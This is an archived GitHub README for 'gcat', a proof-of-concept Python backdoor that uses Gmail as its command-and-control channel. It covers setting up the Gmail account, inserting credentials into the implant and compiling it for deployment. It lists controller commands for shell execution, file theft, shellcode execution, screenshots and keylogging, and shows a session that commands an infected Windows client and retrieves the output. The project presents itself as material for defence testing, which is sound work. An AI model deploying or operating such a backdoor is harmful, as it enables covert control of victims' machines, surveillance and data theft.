GitHub - byt3bl33d3r/gcat: A PoC backdoor that uses Gmail as a
C&C server
By byt3bl33d3r
Archived: 2026-04-05 19:39:21 UTC
A stealthy Python based backdoor that uses Gmail as a command and control server
This project was inspired by the original PoC code from Benjamin Donnelly
This is PoC code...
... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see
projects like RITA.
For a more up to date and maintained version of this project see GDog
Setup
For this to work you need:
A Gmail account (Use a dedicated account! Do not use your personal one!)
Turn on "Allow less secure apps" under the security settings of the account
You may also have to enable IMAP in the account settings
This repo contains two files:
gcat.py a script that's used to enumerate and issue commands to available clients
implant.py the actual backdoor to deploy
In both files, edit the gmail_user and gmail_pwd variables with the username and password of the account you
previously setup.
You're probably going to want to compile implant.py into an executable using Pyinstaller
Note: It's recommended you compile implant.py using a 32bit Python installation
Usage
 dP
 88
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 88' `88 88' `"" 88' `88 88
 88. .88 88. ... 88. .88 88
https://github.com/byt3bl33d3r/gcat
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`8888P88 `88888P' `88888P8 dP
 .88
 d8888P
 
 .__....._ _.....__,
 .": o :': ;': o :".
 `. `-' .'. .'. `-' .'
 `---' `---'
 _...----... ... ... ...----..._
 .-'__..-''---- `. `"` .' ----'''-..__`-.
 '.-' _.--''' `-._.-' ''''--._ `-.`
 ' .-"' : `"-. `
 ' `. _.'"'._ .' `
 `. ,.-'" "'-., .'
 `. .'
 jgs `-._ _.-'
 `"'--...___...--'"`
 ...IM IN YUR COMPUTERZ...
 WATCHIN YUR SCREENZ
optional arguments:
 -h, --help show this help message and exit
 -v, --version show program's version number and exit
 -id ID Client to target
 -jobid JOBID Job id to retrieve
 -list List available clients
 -info Retrieve info on specified client
Commands:
 Commands to execute on an implant
 -cmd CMD Execute a system command
 -download PATH Download a file from a clients system
 -upload SRC DST Upload a file to the clients system
 -exec-shellcode FILE Execute supplied shellcode on a client
 -screenshot Take a screenshot
 -lock-screen Lock the clients screen
 -force-checkin Force a check in
 -start-keylogger Start keylogger
 -stop-keylogger Stop keylogger
https://github.com/byt3bl33d3r/gcat
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Meow!
Once you've deployed the backdoor on a couple of systems, you can check available clients using the list
command:
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
The output is a UUID string that uniquely identifies the system and the OS the implant is running on
Let's issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all , the script then outputs
the jobid that we can use to retrieve the output of that command
Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
 Host Name . . . . . . . . . . . . : unknown-2d44b52
 Primary Dns Suffix . . . . . . . :
 Node Type . . . . . . . . . . . . : Unknown
 IP Routing Enabled. . . . . . . . : No
 WINS Proxy Enabled. . . . . . . . : No
-- SNIP --
That's the gist of it! But you can do much more as you can see from the usage of the script! ;)
To Do
Multi-platform support
Command to upload files
https://github.com/byt3bl33d3r/gcat
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Transport crypto & obfuscation
Source: https://github.com/byt3bl33d3r/gcat
https://github.com/byt3bl33d3r/gcat
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